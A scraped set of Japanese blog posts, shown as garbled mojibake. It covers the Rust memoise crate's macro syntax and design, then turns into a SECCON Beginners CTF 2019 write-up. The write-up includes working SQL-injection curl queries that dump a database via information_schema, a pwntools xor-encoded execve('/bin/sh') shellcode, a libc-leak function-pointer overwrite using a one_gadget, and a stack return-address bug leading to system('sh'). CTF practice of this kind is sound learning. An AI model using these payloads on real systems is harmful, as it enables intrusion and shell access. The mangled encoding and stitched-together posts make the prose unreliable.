ã¨ããããã§ãã¨ã«ããç°¡åã«ä½¿ããHTMLã¹ã¯ã¬ã¤ãã³ã°ã©ã¤ãã©ãªãç®æãã¦ã©ã¤ãã©ãªãä½ã£ã¦ã¿ã¾ããã èªåãæ¢åã®ã©ã¤ãã©ãªã使ã£ãéã«æããã¤ããé¨åãã©ãããã°ãªãããããèãã¦ã¿ã¦ã ãããªãã«è¯ãæãã®ç©ãã§ãããã§ã¯ãªãããªãã¨æã£ã¦ããã¾ãã
æ§æããããã®ã«ã¼ã«ãªã©ã¯ã¾ã å®å ¨ã«è©°ãããã¦ããæãã§ã¯ããã¾ãããã çãããããããã°ä½¿ã£ã¦ã¿ã¦ãã ããã
memoise-0.2
ãã®åä½ã£ãã¡ã¢åã©ã¤ãã©ãª ãããããæ¹è¯ãã¾ããã
ããã¾ã§ã¯TokenStream
ã®parseãããã©ãã£ãã®ã§ãµã¼ãã©ã¤ãã©ãªã®ãããã³ã°ã©ã¤ãã©ãªã使ã£ã¦ãããã§ããã
å¶ç´ã大ããã¦ããæãã®æ§æãä½ããªãã£ãã®ã§èªåã§parseããããã«ãã¾ããã
èªåã§ã¯ç´æçã§ç´äº¤ããææ³ã«ãªã£ããã§ã¯ãªãããªãã¨æãã¾ãã
ä¸éãæå®ã§ããããã«ï¼æ§æã®å ¨ä½çãªæ¹å
ãã¼ã®åãããå¤ã®ä¸éã¨ä¸éãç´æçã«æ¸ããããã«ããããã¤ã»ããæ©è½ãéä¸è¶³ãªãæºããããã« ãããã試è¡é¯èª¤ããçµæãããªæãã«ãªãã¾ããã
// ä¸éã ãæå® #[memoise(n <= 100)] fn fib(n: i64) -> i64 { if n == 0 || n == 1 { return n; } fib(n - 1) + fib(n - 2) } // ä¸éã¨ä¸éãæå® #[memoise(-100 <= n <= 100)] fn foo(n: i64) -> i64 { if n == -100 { n } else { foo(n - 1) } } // éåºéãæå®ã§ãã #[memoise(-100 < n < 100)] fn bar(n: i64) -> i64 { if n == -99{ n } else { foo(n - 1) } } // çµã¿åããã¦ããã #[memoise(-100 <= n < 100)] fn baz(n: i64) -> i64 { if n == -100 { n } else { foo(n - 1) } }
ä¸éã®æå®ã¯ãã¾ã®ã¨ããå¿
é ã§ããä¸éã®æå®ããªãå ´å㯠0 <= _
ãæé»çã«ä»®å®ãã¾ãã
è¤æ°ãã¼ãæå®ã§ãã¾ãã
#[memoise(n <= 100, k <= 50)] fn comb(n: usize, k: usize) -> usize { if k == 0 { return 1; } if n == 0 { return 0; } comb(n - 1, k - 1) + comb(n - 1, k) }
ãã¼ã®åãä»»æã®æ´æ°åã«
0.1ã§ã¯ãã¼ãusize
ãããªãã¨ããã¦ãã¾ãããã0.2ã§ã¯ä»»æã®æ´æ°åããã¼ã«æå®ã§ããããã«ãªãã¾ããã
ãã¼ãå¼ã§æå®ã§ããããã«
ãããªæãã§å¥½ããªå¼ããã¼ã¨ãã¦ä½¿ããããã«ãªãã¾ããã
#[memoise(-10000 <= n * 100 + m <= 10000)] fn foo(n: i32, m: i32) -> usize { todo!() }
Future work
å¯é åã®ãã¼ãã«ã§ã¡ã¢åããéã«æ¬²ããæ©è½ã¯ããããããã£ãã¨æããã§ããã BTreeMapã¨ãã§çãªã¡ã¢åããããããªæ©è½ããã£ã±ããã£ãã»ããç¨éã¯åºããã¨æããã§ã ããã追å ãããã¨æãã¾ãã ãã¨ãã¼ãã«ãµã¤ãºãåçã«æå®ããæ©è½ããã£ã±ããã£ãã»ããããæ°ããã¦ãã¾ãã
Rustã§ã¡ã¢åãè¡ãããã®ã·ã³ãã«ãªã©ã¤ãã©ãªãä½ã£ã
TL;DR
ä¸è¡è¿½å ããã ãã§é¢æ°ãã¡ã¢åãããã¯ããä½ã£ãã
ææç©ã¯ãã¡ã https://docs.rs/memoise/
èæ¯
åãå¼æ°ã«å¯¾ãã¦åãå¤ãè¿ãé¢æ°ï¼ããããåç §éæã ã£ããæ°å¦çã ã£ãããªé¢æ°ï¼ã§ã¯ã é¢æ°ã®è¨ç®çµæãä¿åãã¦ãããã¨ã«ãã£ã¦è¨ç®ãé«éåããããããã¨ãã§ãã¾ãã ãã®ãããªãã¯ããã¯ãé¢æ°ã®ã¡ã¢åï¼memoise, memoize, memoizationï¼ãªã©ã¨å¼ã³ã¾ãã ç¹ã«å帰çã«å®ç¾©ãããé¢æ°ã«ã¤ãã¦ã¡ã¢åãè¡ããã¨ã«ãã£ã¦ã åçè¨ç»æ³ã®å®è£ ãã·ã³ãã«ã§ç´æçãªãã®ã«ã§ããããã¾ãã
ããããé¢æ°ã®ã¡ã¢åã¯ãããããã¨ãèªæãªã®ã«ããããããã æ¯åæã§æ¸ãã¦ããã¨å¾®å¦ã«é¢åã ã£ããããã£ããã¡ã¢åå¿ãã§è¨ç®éãççºãã¦ãã¾ã£ããã ã¡ãã£ã¨è¾ãã¨ãããããã¾ããã
ç¹ã«Rustã使ã£ã¦ããã¨ãã°ãã¼ãã«å¤æ°ãéã«ä½¿ããã¨ã許ãã¦è²°ããªãã®ã§ã æ¯åã¡ã¢åã®ããã®ãã¼ãã«ãé¢æ°ã®å¼æ°ã¨ãã¦å¼ãåããªããã°ãªããªãã£ããã ã¡ã¢åãã¼ãã«ã®mutableãªãã¡ã¬ã³ã¹ã®ã¹ã³ã¼ããçãæããå¿ è¦ããã£ããããã®ã§ã C++ãªã©ã§ãããããè¥å¹²ã³ã¼ãã«ãã¤ãºãå¤ããªãã¾ãã ã¡ã¢åã®ããã®ã³ã¼ããã³ã¼ãã®ååããããå ããããã¦ã é¢æ°ã®è¦éããæªããªããã¨ãããã¾ãã
ä¾ãã°ãnåã®ãã®ããkåãé¸ã¶çµã¿åããã®æ°ãæ±ããåçè¨ç»æ³ ï¼å¥ã«åçè¨ç»æ³ã§è§£ãå¿ è¦ãããåé¡ã§ã¯ãªããã©ã解説ã®ããã®ã·ã³ãã«ãªä¾é¡ã¨ãã¦ï¼ãèãã¦ã¿ã¾ãã
ãããæ±ããé¢æ°ã comb(n, k)
ã¨ããã¨
- k = 0ã®æã¯1éã
- k > 0 ã㤠n = 0 ã®æã¯0éã
- ãã以å¤ã®æã¯ã1ã¤ãã®ãã®ãé¸ã¶æã¨é¸ã°ãªãã¨ããèããã¨ã
comb(n-1, k-1) + comb(n-1, k)
ã¨ãå帰çãªå®ç¾©ãèãããã¾ãã
ããã®n
ã¨k
ã«å¯¾ãã¦2次å
é
åãä½ã£ã¦ã
å¤ã®ä¾åããæ¹åãèãã¦çµç¹çã«è¡¨ãåãã¦ããã®ãåçè¨ç»æ³ã§ããã
ãã®å帰çå®ç¾©ããã®ã¾ã¾å帰é¢æ°ã¨ãã¦è¨è¿°ãã¦ããè¨ç®ããé¢æ°èªä½ã¯ã§ãã¾ãã
fn comb(n: usize, k: usize) -> usize { if k == 0 { return 1; } if n == 0 { return 0; } comb(n - 1, k - 1) + comb(n - 1, k) }
ãã ããã®ã¾ã¾ã ã¨åãå¼æ°ã«å¯¾ãã¦ä½åãè¨ç®ããããã¨ã«ãªãã®ã§ã å¼æ°ã®ãµã¤ãºã«å¿ãã¦ææ°çãªè¨ç®æéãæãã£ã¦ãã¾ãã¾ãã é«éã«å®è¡ããã«ã¯ã¡ã¢åãå¿ è¦ã«ãªã£ã¦ããã¨è¨ãããã§ãã
æåã¡ã¢å
ãã®é¢æ°ãã¡ã¢åãããã¨ãèãã¦ã¿ã¾ãã
ã¾ããè¨ç®çµæãä¿åãããã¼ãã«ãå¿
è¦ã§ãã
å¼æ°n
ã¨k
ã«å¯¾ãã¦çµæãä¿åãããã®ã§ã2次å
ã®Vecã使ããã¨ã«ãã¾ãã
è¦ç´ ã®å¤ã¨ãã¦ãè¨ç®æ¸ã¿ã¨æªè¨ç®ãåºå¥ããªãã¨ãããªãã®ã§ãOption
åã使ãã¾ãã
ãªã®ã§ããã¼ãã«ã®åå
¨ä½ã¨ãã¦ã¯Vec<Vec<Option<size>>>
ã«ãªãã¾ãã
fn comb(n: usize, k: usize, tbl: &mut Vec<Vec<Option<usize>>>) -> usize
ãã§ã«ã¿ã¤ãã³ã°ãæ»ã¬ã»ã©é¢åã§ãã
Option<usize>
ã§ã¯ã¡ã¢ãªä¸ã®ãªã¼ãã¼ããããçããã®ã§ã
ãã®é¢æ°ã®å ´åã¯çµæãå¿
ãæ£ã®å¤ã«ãªããã¨ãå©ç¨ãã¦ã
ãã¼ãã«ã-1
ãªã©ã§åæåãã¦ãè² ã®å¤ãªãæªè¨ç®æ±ãã«ãããªã©ã®ããã¯ãããã¾ããã
æ±ç¨æ§ãèããã¨é£ãããªãã®ã§ãä»åã¯ãã¤ã¼ãã«Option
ã使ããã¨ã«ãã¾ãã
ï¼å°ã話ã¯é¸ãã¾ãããRustã«ã¯ããããç¨éã§ãªã¼ãã¼ããããåé¿ãããããï¼ï¼ï¼NonZeroåãªããã®ããã£ãããã¾ããã å人çã«ã¯0ãæå¹ãªå¤ã¨ãã¦ä½¿ãã¤ã¤Optionã®ãªã¼ãã¼ããããåé¿ãããã®ã§ã NonMaxã¿ãããªã®ãããã¨å¬ãããªãã¨ãæã£ã¦ãããã¾ããï¼
次ã«ãè¨ç®æ¸ã¿ããã§ãã¯ããã³ã¼ãã追å ãã¾ãã
fn comb(n: usize, k: usize, tbl: &mut Vec<Vec<Option<usize>>>) -> usize { if let Some(ret) = tbl[n][k] { return ret; } .... }
ç¶ãã¦ãå帰ã®å¼æ°ã§ãã¼ãã«ãå¼ãåãé¨å追å ãã¾ãã
... comb(n - 1, k - 1, tbl) + comb(n - 1, k, tbl) ...
æå¾ã«ãè¨ç®çµæããã¼ãã«ã«ä¿åããé¨åãæ¸ãã¾ãã
... let ret = comb(n - 1, k - 1, tbl) + comb(n - 1, k, tbl); tbl[n][k] = Some(ret); ret }
å ¨ä½ã¨ãã¦ã¯æ¬¡ã®ããã«ãªãã¾ãã
fn comb(n: usize, k: usize, tbl: &mut Vec<Vec<Option<usize>>>) -> usize { if let Some(ret) = tbl[n][k] { return ret; } if k == 0 { return 1; } if n == 0 { return 0; } let ret = comb(n - 1, k - 1, tbl) + comb(n - 1, k, tbl); tbl[n][k] = Some(ret); ret }
ããã«ãå¼ã³åºãå´ããã¼ãã«ãä½ã£ã¦æ¸¡ãã¦ããããã«å¤æ´ãã¾ãã
comb(n, k, &mut vec![vec![None; k + 1]; n + 1]);
ããã§ããããå®æã§ãã åã ã®ã³ã¼ããé£ããã¨è¨ãããã§ã¯æ±ºãã¦ãªãã®ã§ããã å ã®ã³ã¼ãã¨æ¯è¼ãã¦ãã³ã¼ããå¤æ´ããªããã°ãªããªãç®æãããªãæ£ãã°ã£ã¦ããä¸ã«ã ãã¼ãã«ã®åç §ã¨æ´æ°ã®é¨åã¯ãå¿ããã¨è¨ç®éãççºããã«ããããããã å¿ãã¦ãã³ã³ãã¤ã«ã¯éã£ã¦ãã¾ãã®ã質ãæªãã¨ããã§ãã
ã¾ããã¡ã¢åã®ãã¼ã«ãããå¼æ°ãå¢ããã«å¾ã£ã¦ãªãã¢ã«ãã¼ãã«ã®ãã¹ããå¢ãããã å¼æ°ã®æ·»åãééãããããªãã¾ãï¼ç¹ã«Rustã§ã¯é åä½ãã®ã¨åç §ããã®ã§ãè¦ããã®é åºãéã«ãªã£ã¦ããã®ã§ï¼ã
ããããã®ã¯ãnã¨kã§ã¡ã¢åããããã¨ããã ããªã®ã«ã ãããªé¢åããªãã¨ãããã®ã¯ãã¯ããªãã ãããããæ°ããã¾ãã
èªåã¡ã¢åã®ã¢ããã¼ã
ã¨ããããã§ããããã®æä½ãèªååãããã®ã§ãã ã¡ã¢åãï¼åï¼èªåçã«è¡ãã«ã¯ããããã¢ããã¼ããèãããã¦ã
- é 延ç¡éæ¨ãµã³ã¯
- ã¡ã¢åä¸åç¹æ¼ç®å
- ã¡ã¿ããã°ã©ãã³ã°
ãªã©ãããã¾ããï¼å称ã¯åæã«åãèãããã®ãªã®ã§ããã®è¾ºã®åé¡å¦ã¯è©³ããæ¹ãããã£ããã£ããæãã¦ä¸ããï¼ã ä»åã¯ä¸çªãã¤ã¼ããªã¡ã¿ããã°ã©ãã³ã°ã§ãã£ã¦ããããã¨æãã¾ãã
ï¼é 延ç¡éæ¨ãHaskellãã¤ãã£ãã®é 延è©ä¾¡ã®ä¸ã§å®è£ ãã¦ä¸åç¹æ¼ç®ååããã¢ããã¼ããªã©ã¯åã®æã®è¨äº https://tanakh.hatenablog.com/entry/20100411/p1 ãããã¾ããæ£ç´ä»åã®ã¢ããã¼ããããã¯ããã«åã£ããã¨ãã¦ãã®ã§è©±ã¨ãã¦ã¯é¢ç½ãã¨æãã¾ããï¼
ãã¦ãã¡ã¿ããã°ã©ãã³ã°ã«ããé¢æ°ã®èªåã¡ã¢åã§ãããå®ã¯å è¡ç 究ã¨ã㦠cached ã¨ããã¯ã¬ã¼ããããã¾ãããã¡ãã®æ¹ãæ©è½ã¯è±å¯ã§ç´°ããã¨ãããã«ã¹ã¿ãã¤ãºã§ããã®ã§ãæ®æ®µä½¿ãã«ã¯ãã¡ãã§è¯ããããªæ°ããã¾ããã
- 使ãæ¹ãããè¤é
- ãªãã ãåé·
- ãã¼ãã«ãHashMapãªã®ã§é ã
ãªã®ãã¡ãã£ã¨å¼ã£ããã£ãã®ã§ããã®ãããã解æ¶ããã¹ãPoCçãªã©ã¤ãã©ãªãä½ã£ã¦è¦ã¾ããã¨ãã話ã«ãªãã¾ãã
ä½ã£ããã®
ããããããã§ãè¨è¨ææ³ã¨ãã¦ã¯
- æ»ã¬ã»ã©ã·ã³ãã«ã«
- æã§ã¡ã¢åããã¨ãã¨åããããã®é度ã«ãªãããã«
ã¨ãã2ã¤ãéç¹ã«èãã¾ããã
ã·ã³ãã«ã«ããããã«ãé常ã®ãã¯ããããªãã¦ãattribute macroã§å®è£ ãããã¨ã«ãã¾ããã åºæ¬çã«é¢æ°ã®é ã«attributeããã³ç½®ãããã ãã®ä½¿ãæ¹ã§ãã æ§è½ã«ã¤ãã¦ã¯ããã¼ãusizeã«éå®ãã¦ããããããåãããç¯å²ãæå®ãããã¨ã«ãã¾ããã
ã§ãããã®ããã¡ãã«ãªãã¾ãã https://docs.rs/memoise/
使ãæ¹ã¨ãã¦ã¯ãé¢æ°ã®é ã«1è¡#[memoise(keys(...))]
ã¨ããã®ã追å ããã ãã§ãã
å¼ã³åºãæ¹ãé常ã®é¢æ°éãå¼ã³åºãã ãã§ãã
use memoise::memoise; #[memoise(keys(n = 100, k = 100))] fn comb(n: usize, k: usize) -> usize { if m == 0 { return 1; } if n == 0 { return 0; } comb(n - 1, k - 1) + comb(n - 1, k) }
keys
ã®æã«ã¡ã¢åãããå¼æ°ã¨åãå¾ãæ大ã®å¤ãæ¸ãã¾ãã
ãã®å ´åã ã¨ãn
ã¨k
ããããã[0..100]
ã®å¤ãã¨ããã¨ãã§ãã¾ãã
宣è¨çã«ã¡ã¢åãè¡ããã¨ãã§ããããã«ãªã£ãã®ã§ã æåã§ã®å®è£ ã«æ¯ã¹ãã¨æéãééããä½å°ãå¤§å¹ ã«æ¸ã£ã¦ããã¨æãã¾ãã
å®éã«ãã¯ããçæãã¦ããã³ã¼ãã¯æã§æ¸ããå ´åã«è¿½å ãããã®ã«è¿ããã®ã«ãªã£ã¦ãã¾ãã
ç¸éç¹ã¨ãã¦ãå¼æ°ã§ã®ãã¼ãã«ã®å¼ãåããé¿ããããã«ãã°ãã¼ãã«ã«ãã¼ãã«ãå®ç¾©ãã¾ãã
ã¹ã¬ããã»ã¼ãã«ãã¼ãã«ã¸ã¢ã¯ã»ã¹ããããã«ãthread_local!
ã使ç¨ãã¦ãã¾ãã
ãªã®ã§ãã¹ã¬ããéã§ã¯ãã¼ãã«ã¯å
±æããªãã®ã§ããã«ãã¹ã¬ããã§ã®é«éåã¯ã§ãã¾ããã
Future work
使ãæ¹ã¯ããã ããªãã§ãããç¾ç¶ããã§ã¯ã·ã³ãã«éãã¦æ±ç¨æ§ã«æ¬ ããæ°ãããã®ã§ã
- ãã¼ãã«èªåãªãµã¤ãºã§ããããããµã¤ãºæå®ããªãããã«ã§ããã¯ã
- ãã¼ã¨ãã¦å¤æ°ãªãã©ã«ã ããããªãã¦ä»»æã®å¼ãåããããã«ããã
- ããã·ã¥ãã¼ãã«ããã©ã³ã¹ããªã¼ã使ã£ãå®è£ ãããããã¯è¿½å ããã
ãããã®æ¡å¼µãèãã¦ãã¾ãã
SECCON Beginners CTF 2019 writeup
2891 points 24th place
åå¿è åããããã®ã§åºã¦ã¿ãã Webã解ããªããããã£ã½ãã®ã§ãªãã¨ããããã
Web: [warmup] Ramen
ãªããã©ã¼ã¡ã³åºå¡ãæ¤ç´¢ã§ããWebãã¼ã¸ã«é ããããã©ã°ãæ¢ããååã®é¨åæååã§ãããããã®ã§ãSQLã®LIKEã§åã£ã¦ãã¦ãã®ããªãããã¯ãããããã®æåãªSQLã¤ã³ã¸ã§ã¯ã·ã§ã³ãããã¨è¨ããã¨ãªã®ãï¼
ã¾ãæ®æ®µä½æ°ãªãã«ä½¿ã£ã¦ããè¨èã§ãæ£ç´å®éã«ãã£ããã¨ã¯ãªãã£ããã§è©¦è¡é¯èª¤çµæ§å¤§å¤ã ã£ããã¾ãã¯ã¨ãªãéãã®ãåå¿è
ã«ã¯çµæ§é£ããã£ããå¤ãªã¯ã¨ãªãå
¥ããã¨ãUncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11
ã¨ãã®ã¡ãã»ã¼ã¸ãè¿ã£ã¦ããã®ã§ãPHPãªã®ãã¨æã£ãã
ãããã SELECT ??, ?? FROM ?? WHERE ?? LIKE '$query' ...
ã®ããã«æ¸ãã¦ããã®ã ãããï¼ãªãã¨ãªãå¾åãã³ã¡ã³ãã¢ã¦ãããã° ããå æ¸ã«éãã®ããªã¨ãæã£ã¦ããã®ã ãã©ãã«ã³ãã®å¯¾å¿ãã¡ããã¨ä»ãã¦ããªãã¨åãä»ãã¦ãããªãã¿ããã§ãããã¨ãã¼ãã«åã¨ã«ã©ã åã¯ã¡ããã¨åå¨ãããã®ãå
¥ããªãã¨fetchAll()ãã³ã±ããããã£ãã
ããã§ãSQLã¤ã³ã¸ã§ã¯ã·ã§ã³ã§ã¯UNION
ã使ã£ã¦åãç¡çç¢ç追å ããã®ãå®ç³ãããã®ã§ãã¨ãããã ' UNION SELECT 'hoge', 'moge'; --'
ã¨ãããã¨ãã©ã¼ã¡ã³åºå¡ã«ã¹ãã太éãç´ãè¾¼ã¾ãããã¨ã«æåããã
ããã¯ã¨ã³ããä½ãããåãããªãã£ãã®ã§ãã§ãã¾ãããã¯sqliteãpostgresãmysqlããããªãã¨æãã®ã§ãããããåºå¥ã§ããããªãã®ãé å¼µã£ã¦ã¤ã³ã¿ã¼ãããã§èª¿ã¹ãã¨ãMySQLãããã¨ãããã¨ãåãã£ãããªã®ã§ãMySQLã§ãã¼ãã«ãåæã§ããSQLã¯ã¨ãªã調ã¹ã¦ã
$ curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT table_name,table_rows from information_schema.tables; -- '"
ããããã¯ã¨ãªãæãã¦ã¿ãã¨ããã¼ãã«ä¸è¦§ãã ã ã¼ã£ã¨æµãã¦ããããã®ä¸ã« flag
ã¨ããã®ããã£ãã®ã§ãå¤åããããããªãã ãããã¡ãªã¿ã«table_rows
ã表示ããã¦ã¿ãã®ã ããããã0ã«ãªã£ã¦ãããmembers
ã¨ãããã¼ãã«ããã£ã¦ãããã¯3人ããã¯ããªã®ã«ãããã®table_rows
ã¯2ã«ãªã£ã¦ããã®ã§ãæ°ãæ¹ããªãã0ãªãªã¸ã³ãªã®ã ãããã
ãã¼ãã«åãåãã£ãã®ã§ãã¤ãã«ã©ãããã«ã©ã ãããã®ãã調ã¹ãã¯ã¨ãªãæããã
$ curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT column_name, column_type from information_schema.columns where table_name='flag'; -- '"
flag
ã¨ãããã¼ãã«ã® flag
ã¨ããã«ã©ã ã«å¤åãã©ã°ãå
¥ã£ã¦ãããã¨ãåãã£ãããªã®ã§ãæçµçã«æ¬¡ã®ãããªã¯ã¨ãªã§ãã©ã°ãå¾ãããã
curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT flag,flag from flag; -- '"
å¾ããããã©ã°ã¯ ctf4b{a_simple_sql_injection_with_union_select}
ãµã¼ããããããããç³»ã§ä¸çªã·ã³ãã«ãªæããªã®ããªãã¨æã£ãã
Pwnable: [warmup] shellcoder
ã¨ããããä¸ãããããã¤ããªãéã³ã³ãã¤ã«ãã¦ã¿ãã
undefined8 main(void) { code *__buf; char *pcVar1; __buf = (code *)mmap((void *)0x0,0x1000,7,0x21,-1,0); puts("Are you shellcoder?"); read(0,__buf,0x28); pcVar1 = strchr((char *)__buf,0x62); // b if (pcVar1 == (char *)0x0) { pcVar1 = strchr((char *)__buf,0x69); // i if (pcVar1 == (char *)0x0) { pcVar1 = strchr((char *)__buf,0x6e); // n if (pcVar1 == (char *)0x0) { pcVar1 = strchr((char *)__buf,0x73); // s if (pcVar1 == (char *)0x0) { pcVar1 = strchr((char *)__buf,0x68); // h if (pcVar1 == (char *)0x0) { (*__buf)(); return 0; } } } } } puts("Payload contains invalid character!!"); /* WARNING: Subroutine does not return */ _exit(0); }
éãã¤ãããã¼ã¿ã« binsh
ã®ããããã®æåãå«ã¾ãã¦ããªããã°ãããå®è¡ãã¦ãããããã°ã©ã ããããããã°ã©ã ä¸ã«ãããããæååãå«ã¾ãã¦ããªããããããããã¤ããå«ã¾ããªãããã«èªåã§execveãå¼ã³åºã0x28ãã¤ã以å
ã®ã³ã¼ãæ¸ãã®ããã©ããããã ãªã・・・ã¨æã£ãããã¤ã³ã¿ã¼ãããã«è½ã¡ã¦ãã³ã¼ããæ¾ã£ã¦ããããã®ã¾ã¾åãã¦ãã¾ã£ãããªã®ã§ãããpwntoolsã§éãã¤ãã¦çµäºã
from pwn import * context.arch = 'amd64' context.log_level = 'debug' io = remote('153.120.129.186', 20000) asms = """ xor eax, eax mov rbx, 0xFF978CD091969DD1 neg rbx push rbx push rsp pop rdi cdq push rdx push rdi push rsp pop rsi mov al, 0x3b syscall """ bin = asm(asms) io.recv() io.send(bin) io.interactive()
ãã©ã°ã¯ ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
ã
ãªãã»ã©xorãã¦ãã¤ãã¹ããã¨ãã趣æ¨ã®åé¡ã ã£ãã®ãã
Pwnable: OneLine
ãããã¨ããããéã³ã³ãã¤ã«ã
undefined8 main(void) { void *__buf; ulong uVar1; __buf = calloc(0x28,1); *(code **)((long)__buf + 0x20) = write; printf("You can input text here!\n>> "); read(0,__buf,0x28); (**(code **)((long)__buf + 0x20))(1,__buf,0x28,__buf); printf("Once more again!\n>> "); uVar1 = read(0,__buf,0x28); (**(code **)((long)__buf + 0x20))(1,__buf,uVar1 & 0xffffffff,__buf); return 0; }
ãããã¡ã®0x20ï½0x28ãã¤ãç®ã«writeã®ãã¤ã³ã¿ãæ¸ãè¾¼ãã§ãããããããã¡ã®ãã¤ã³ã¿ãå¼æ°ã«å¼ã³åºãã³ã¼ãã«ãªã£ã¦ããã®ã§ã0x20ãã¤ãã®æã«å¼ã³åºãããé¢æ°ã®ã¢ãã¬ã¹ãã0x00ï½0x20ã®ã¨ããã«ãã¼ã¿ãæ¸ãè¾¼ãã°è¯ãããã
ãããã親åã«2åread
ãã¦ãããããã°ã©ã ã ããªããã¤1åç®ã¯èªãã ãã¤ãæ°ã§ã¯ãªãããã¤ã³ã¿ã¾ã§å«ããé åãwrite
ãã¦ããã®ã§ã1åç®ã§ä½ãé©å½ã«çãã¯ã¨ãªãæããã°write
ã®ãã¤ã³ã¿ãåæã«éã£ã¦ãããããã§libã®ãã¼ã¹ã¢ãã¬ã¹ãæ±ãã¦ã2åç®ã§system
ãå¼ã³åºãã°è¯ãããã ã
from pwn import * context.arch = 'amd64' context.log_level = 'debug' io = remote('153.120.129.186', 10000) elf = ELF('oneline') libc = ELF('libc-2.27.so') io.recv() io.send(cyclic(0x20)) io.recv(0x20) write_libc = u64(io.recv(8)) libc_base = write_libc - libc.symbols['write'] system_addr = libc_base + libc.symbols['system'] io.recv() io.send(b"/bin/sh" + b'\x00' * (0x20 - 7) + p64(libc_base + system_addr)) io.interactive()
ã¨ãããããªããããã¯SIGSEGVã§åããªãã£ãï¼ãªãã§ã ããï¼ã
ãããããªãã®ã§å¥ã®ã¬ã¸ã§ããã使ããªããã¨one_gadgetã¨ãããã¼ã«ã§libã調ã¹ãã¨ã
$ one_gadget libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
ãããªã®ãè¦ã¤ãã£ãã®ã§ãããã®2åç®ã使ãã¨ãã¾ãè¡ã£ãã
from pwn import * context.arch = 'amd64' context.log_level = 'debug' io = remote('153.120.129.186', 10000) elf = ELF('oneline') libc = ELF('libc-2.27.so') io.recv() io.send(cyclic(0x20)) io.recv(0x20) write_libc = u64(io.recv(8)) libc_base = write_libc - libc.symbols['write'] io.recv() io.send(b'\x00' * 0x20 + p64(libc_base + 0x4f322)) io.interactive()
ãã©ã°ã¯ ctf4b{0v3rwr!t3_Func7!on_p0int3r}
ã
é¢æ°ãã¤ã³ã¿ãä¸æ¸ãããã ãã§ã¯ä¸æããããªãã£ãçç±ã¯å¾ã§èª¿ã¹ã¦ããããããã¨ãªããã®åé¡one lineã¨ããååãªãã ãããäºåèªãã§ããã®ã«ã
Pwnable: memo
ã¾ãã¾ãã¨ããããéã³ã³ãã¤ã«ã
int main(void) { FILE *__stream; char *pcVar1; long lVar2; undefined8 uStack96; char local_58 [8]; undefined auStack80 [56]; undefined *local_18; uint local_c; do { uStack96 = 0x4006fb; printf("Input size : "); uStack96 = 0x400713; pcVar1 = fgets(local_58,0x40,stdin); if (pcVar1 == (char *)0x0) { return 0xffffffff; } uStack96 = 0x40072e; local_c = atoi(local_58); } while (local_c < 0x20); lVar2 = SUB168((ZEXT816(0) << 0x40 | ZEXT816((long)(int)local_c + 0x1e)) / ZEXT816(0x10),0); local_18 = auStack80 + lVar2 * -0x10; (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x400786; printf("Input Content : "); __stream = stdin; (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x40079e; fgets(local_18,0x20,__stream,*(undefined *)(&uStack96 + lVar2 * 0x1ffffffffffffffe)); (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x4007b6; printf("Your Content : %s\n",local_18); return 0; }
ãã£ã¦ããã³ã¼ãã¯ã ãã¶è¬ã ãããã¾ãCè¨èªã«ãããã³ã°ã§ããªãã¦ã ãã¶å¤ãªãã¨ã«ãªã£ã¡ãã£ã¦ããéä¸ã§ã¹ã¿ãã¯ãã¤ã³ã¿ãããã£ã¦ãã®ã§ãã¹ã¿ãã¯èªã¿æ¸ãã®ã³ã¼ããèªã¿ã¥ãããªã£ã¦ãããã®è¾ºã¯ç´ ç´ã«ã¢ã»ã³ããªèªãã æ¹ãããããããã£ãã®ã§ãCã¨ã¢ã»ã³ããªä¸¡æ¹åèã«ããªãã解èªããçµæãè¦ããã«ã
- æåã«0x20ãã大ããªæ´æ°ãå ¥åããã¦
- RSP -= (ãã®æ´æ°+0x1e) / 0x10 * 0x10 ãã¦
- fgets(RSP, 0x20, stdin) ããã
ãªãã§ãµã¤ãºãå ¥åããã¦ããåºå®ã®é·ãã®fgetsãããã®ãã¨ãããã®åãä¸ãå¦çå¾®å¦ã«åãä¸ãã«ãªã£ã¦ç¡ããªããã¨ãæã£ãããããåãããªãã¨ããã¯æ®ã£ããããã®åé¡ã®ãã¢ã¯ãæåã®æ´æ°ã®å ¥åã®æã«ã符å·ç¡ãã§ãµã¤ãºã®æ¯è¼ããã£ã¦ãã¾ã£ã¦ããã®ã§ãè² ã®æ°ãå ¥ååºæ¥ã¦ãã¾ãã¨ããæã ããã
è² ã®æ°ãå ¥ååºæ¥ã¦ãã¾ãã¨è¨ããã¨ã«ãã£ã¦ãRSPãå¼ãç®ãã¦mainã®ãªã¿ã¼ã³ã¢ãã¬ã¹ãå£ããªãã¨ããå®å ¨è¨è¨ï¼ï¼ï¼ããéã«è¶³ãç®ãã¦ãã³ãã¤ã³ãã§ç ´å£ã§ããããã«ãªã£ã¦ãã¾ã£ã¦ããã
0x10ã§åãä¸ãã¦ããã®ã§ãRSPã®è¶³ãå¼ãã¯0x10ã®åæ°ã§ããè¡ããªãããã®mainé¢æ°ã¯ã¹ã¿ãã¯ã0x50ãã¤ã使ã£ã¦ããã®ã§ãRSPã0x50足ãã¦ããã°ãfgetsã§æ¸ãè¾¼ããããã¡ã¼ã®ã¡ããã©8ãã¤ãç®ãã16ãã¤ãç®ãmainã®ãªã¿ã¼ã³ã¢ãã¬ã¹ã«ãªãããã«æã£ã¦ãããããã¤16ãã¤ãã»ã©ä½è¨ã«ãã¼ã¿ãæ¸ãè¾¼ããã¨ãã§ããã
å¼ããéç®ããã°ãæåã«å ¥åããæ°ã -95 ãã -110 ã®å¤ã«ãããã¨ã§ãRSPã«è¶³ãå¤ã0x50ã«ã§ããã
ãã¤ããªä¸ã«ã¯ãããã¤ããåãã«
void hidden(void) { system("sh"); exit(0); }
ã¨ããé¢æ°ãé ããã¦ããã®ã§ããªã¿ã¼ã³ã¢ãã¬ã¹ããã«ãã¦ããã°è¯ãããã ã
